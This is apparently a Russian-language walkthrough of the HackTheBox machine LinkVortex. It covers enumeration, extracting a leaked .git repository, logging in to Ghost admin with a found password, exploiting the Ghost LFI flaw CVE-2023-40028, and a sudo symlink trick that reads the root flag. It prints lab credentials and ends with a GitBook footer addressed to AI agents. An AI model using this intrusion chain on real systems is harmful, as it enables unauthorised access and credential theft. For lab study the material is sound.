> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md). # Разбор HackTheBox LinkVortex Разбор Easy Linux-машины HackTheBox LinkVortex, охватывающий перечисление поддоменов, извлечение информации из каталога .git (Git-Dumper), утечку информации, эксплуатацию LFI (Ghost), с практическими {% embed url="" %} {% hint style="warning" %} **Навыки:** * Перечисление поддоменов * Извлечение информации из каталога .git (Git-Dumper) * Утечка информации * Эксплуатация LFI (Ghost) * Злоупотребление привилегиями Sudo через скрипт (двойная символическая ссылка) {% endhint %} ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

**Проверка подключения к VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Настройка файла /etc/hosts** Мы добавляем IP-адрес цели в наш `/etc/hosts` файл, чтобы облегчить локальное разрешение DNS.

**Обнаружение открытых портов с помощью Nmap:** Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 linkvortex.htb -oG allPorts ```

**Анализ открытых портов с extractPorts:** Используйте функцию extractPorts, чтобы отобразить открытые порты в кратком формате и скопировать их в буфер обмена (22.80)

### **Порт 80**

**Сканирование версий портов с помощью Nmap:** Используйте Nmap для сканирования версий служб и сохраните вывод в файл "targeted": ```bash nmap -sCV -p22,80 linkvortex.htb -oN targeted ```

### **Перечисление каталогов** ```bash wfuzz -c -t 100 --hc=404,301 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://linkvortex.htb/FUZZ/ ```

### Админ-панель - Ghost

### **Обнаружение поддомена** Мы ищем поддомены, связанные с `linkvortex.htb` с помощью gobuster. ```bash gobuster vhost -u http://linkvortex.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 ``` Мы находим поддомен `dev.linkvortex.htb`. Вот команда для выполнения этого поиска:

После того как поддомен найден, мы добавляем его в `/etc/hosts` файл для более удобного доступа:

#### **Поиск каталогов в новом поддомене** Мы ищем существующие каталоги на `dev.linkvortex.htb` поддомене с помощью `gobuster`: ```bash gobuster dir -u http://dev.linkvortex.htb/ -w /usr/share/SecLists/Discovery/Web-Content/common.txt -t 100 ``` Мы обнаруживаем `.git` каталог, что может указывать на раскрытый репозиторий Git.

### **Извлечение файлов с помощью Git-Dumper** Мы используем `git-dumper` инструмент, чтобы извлечь файлы из `.git` каталога и проанализировать их: ```git git-dumper http://dev.linkvortex.htb/.git .git ```

Это позволяет нам получить конфиденциальные файлы, включая тестовый файл, расположенный в `ghost/core/test/regression/api/admin/authentication.test.js`, где мы находим пароль:

**Найден пароль:** ```parser OctopiFociPilfer45 ```

### **Вход в панель администратора Ghost** С этим паролем мы пытаемся подключиться к панели администратора Ghost, используя `адрес электронной почты admin@linkvortex.htb` : * **Электронная почта** : `адрес электронной почты admin@linkvortex.htb` * **Пароль**: `OctopiFociPilfer45`

## Уязвимость Ghost - LFI {% embed url="" %}

> Во время сканирования портов мы обнаружили, что используемая версия Ghost (v5.58) уязвима к LFI (Local File Inclusion), идентифицированной как CVE-2023-40028. Чтобы эксплуатировать эту уязвимость, мы загружаем скрипт эксплойта и изменяем целевой URL так, чтобы он указывал на наш экземпляр Ghost.

Вот команда для запуска эксплойта: ```bash ./LFI.sh -u admin@linkvortex.htb -p OctopiFociPilfer45 ``` Затем мы получаем оболочку и можем отображать файлы, такие как `/etc/passwd`.

**Доступ к внутреннему маршруту через LFI** В `.git` каталоге мы заметили Docker-файл, который предоставляет нам внутренний маршрут для доступа к сессии: `/var/lib/ghost/config.production.json`.

Мы используем LFI, чтобы перечислить файлы и найти учетные данные пользователя по имени Bob:

**Учетные данные Bob:** * **Пользователь**: `bob@linkvortex.htb` * **Пароль**: `fibber-talented-worth` Мы подключаемся к целевой машине по SSH, используя учетные данные Bob: ### Флаг user.txt :) Мы используем пароль `fibber-talented-worth` для входа и доступа к файлу `файл user.txt`, где находим флаг.

## Флаг root.txt :) ### SUDO - Clean/\_synLink.sh Мы ищем уязвимость, которая позволяет повысить привилегии. Мы обнаруживаем файл с правами SUID.

#### **Анализ скрипта очистки симлинков** > Мы анализируем скрипт с именем `clean_symlink.sh`, который проверяет, является ли файл, переданный в качестве аргумента, символической ссылкой, указывающей на файл `.png` Если символическая ссылка указывает на критический файл, скрипт удаляет её. В противном случае он перемещает символическую ссылку в `/var/quarantined/` каталог. Если `CHECK_CONTENT` переменная окружения установлена в `true`, скрипт пытается прочитать содержимое файла. Вот команда для создания символических ссылок, необходимых для эксплуатации: ```bash ln -s /root/root.txt flag.txt ln -s /home/bob/flag.txt flag.png ``` Затем мы запускаем скрипт со следующей командой, чтобы получить root-флаг: ```bash sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/flag.png ``` Таким образом, мы получаем `root.txt` флаг.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.